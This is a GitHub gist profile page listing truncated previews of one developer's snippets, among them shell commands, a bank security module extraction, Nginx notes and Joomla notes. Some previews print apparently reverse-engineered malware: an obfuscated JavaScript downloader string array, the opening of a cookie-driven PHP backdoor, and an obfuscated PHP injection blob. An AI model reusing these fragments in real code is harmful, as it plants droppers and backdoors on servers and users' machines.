Skip to content

Instantly share code, notes, and snippets.

View fititnt's full-sized avatar
💭
"The difficult we do immediately; the impossible takes a little longer"

Emerson Rocha fititnt

💭
"The difficult we do immediately; the impossible takes a little longer"
View GitHub Profile
@fititnt
fititnt / aaa_modulo-de-seguranca-linux-bb-gastecnologia-warsaw_descompactado.txt
Last active January 11, 2024 12:15
Modulo de segurança da GAS Tecnologia (WARSAW) + BB | hda-bb_0.1_all descompactado, nome/email editado
# Download de https://cloud.gastecnologia.com.br/bb/downloads/ws/hda-bb_0.1_all.deb
$ wget https://cloud.gastecnologia.com.br/bb/downloads/ws/hda-bb_0.1_all.deb
$ dpkg -x hda-bb_0.1_all.deb warsaw-deb-descompactado
$ cd warsaw-deb-descompactado/
$ tree
.
└── usr
├── local
│   └── bin
│   └── HDA_BB
@fititnt
fititnt / write-good semantics-embedded-content.include.sh
Last active June 13, 2018 06:40
write-good semantics-embedded-content.include # W3C Use active voice, not passive. #310 https://github.com/w3c/html/issues/310
# See https://github.com/w3c/html/issues/310
#
# write-good is from https://www.npmjs.com/package/write-good#passive
# Check also https://github.com/gepoch/linter-write-good
# fititnt at bravo in /alligo/code/w3c/html/sections on git:master x [3:37:14]
$ write-good semantics-embedded-content.include
In semantics-embedded-content.include
=============
e in HTML, when there is only a single image resource,
@fititnt
fititnt / byzanz-gui.sh
Created September 10, 2016 06:33
byzanz-gui.sh
#!/bin/bash
# AUTHOR: (c) Rob W 2012, modified by MHC (http://askubuntu.com/users/81372/mhc)
# NAME: GIFRecord 0.1
# DESCRIPTION: A script to record GIF screencasts.
# LICENSE: GNU GPL v3 (http://www.gnu.org/licenses/gpl.html)
# DEPENDENCIES: byzanz,gdialog,notify-send (install via sudo add-apt-repository ppa:fossfreedom/byzanz; sudo apt-get update && sudo apt-get install byzanz gdialog notify-osd)
# Time and date
TIME=$(date +"%Y-%m-%d_%H%M%S")
@fititnt
fititnt / original-reveng.js
Last active June 26, 2016 02:54
javascript-simple-mallware-randon.sj
var _0xe519 = ["Msxml2.XMLhttp",
"onreadystatechange",
"readyState",
"status",
"ADODB.Stream",
"open",
"type",
"write",
"position",
"read",
@fititnt
fititnt / shell.sh
Created March 27, 2016 01:16
Upgrade from PHP 5.x to PHP 7.0 on Centos with Webtatic.com packages
# replace PHP 5.6 with PHP 7.0, with only one command, yum swap
yum swap -- remove php56w-cli php56w-fpm php56w-xml php56w-pdo php56w-mysql php56w-mcrypt php56w-mbstring php56w-gd php56w-common php56w-mysql php56w-bcmath php56w-opcache -- install php70w-cli php70w-fpm php70w-xml php70w-pdo php70w-mysql php70w-mcrypt php70w-mbstring php70w-gd php70w-common php70w-mysql php70w-bcmath php70w-opcache
# If you are using PHP-FPM, need start it again
systemctl start php-fpm
@fititnt
fititnt / css49--fiti-reveng.php
Last active March 10, 2016 00:58
css49--fiti-reveng.php
<?php
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
foreach ($_COOKIE as $item)
@fititnt
fititnt / joomla-gsoc-2016-fititnt.md
Last active March 15, 2016 19:36
Joomla no Google Summer of Code 2016 - Anotações de perguntas feitas por @fititnt, em português

Joomla no Google Summer of Code 2016 - FAQ por @fititnt, em português

Nota importante: as informações aqui fora feitas por um mentor, de um dos projetos ("Project XIV: Improve Joomla front and back-end performance through better compatibility with reverse proxies and PageSpeed Module"), que fazem parte do GSoC em 2016. Elas podem ser imprecisas, ou mesmo erradas, dentro das limitações de conhecimento de seu autor. As opiniões aqui emitidas representam única e exclusivamente opinião do autor, não são endorsadas pelo projeto Joomla, nem pelo Google.

Links pertinentes

<?php $ljwlpffp = 'sdXA x27K6< x7fw6*3qj%>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x x272qj%6<^#zsfvr# x5cq%7/7#@}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt03of:opjudovg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!:!}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd27pd%6<C x27pd%6|6.7x24]26 x24- x24<%j,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA x27 x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`{6~}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6!%t2w>#]y74]273]y76]252]y85]256]},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;6+99386c6f+9f5d816:+bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)s*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<51L3]84]y31M6]y3e]81#/#7e:5594f-s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]eu{66~67<&w6<*&7-#o]s<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.)%bbT-%bT-%hW~%fdy)##-!#
# df -h
Sist. Arq. Tam. Usado Disp. Uso% Montado em
/dev/mapper/centos_xxxdnn3016-root 50G 39G 12G 77% /
devtmpfs 5,8G 0 5,8G 0% /dev
tmpfs 5,8G 0 5,8G 0% /dev/shm
tmpfs 5,8G 321M 5,5G 6% /run
tmpfs 5,8G 0 5,8G 0% /sys/fs/cgroup
tmpfs 12G 87M 12G 1% /ramdisk
/dev/sda1 492M 231M 261M 48% /boot
/dev/mapper/centos_xxxdnn3016-home 501G 9,3G 491G 2% /home
@fititnt
fititnt / README.md
Created December 23, 2015 06:38 — forked from magnetikonline/README.md
Setting Nginx FastCGI response buffer sizes.

Nginx FastCGI response buffer sizes

By default when Nginx starts receiving a response from a FastCGI backend (such as PHP-FPM) it will buffer the response in memory before delivering it to the client. Any response larger than the set buffer size is saved to a temporary file on disk. This process is also explained at the Nginx ngx_http_fastcgi_module page document page.

Since disk is slow and memory is fast the aim is to get as many FastCGI responses passing through memory only. On the flip side we don't want to set an excessively large buffer as they are created and sized on a per request basis (i.e. it's not shared memory).

The related Nginx options are: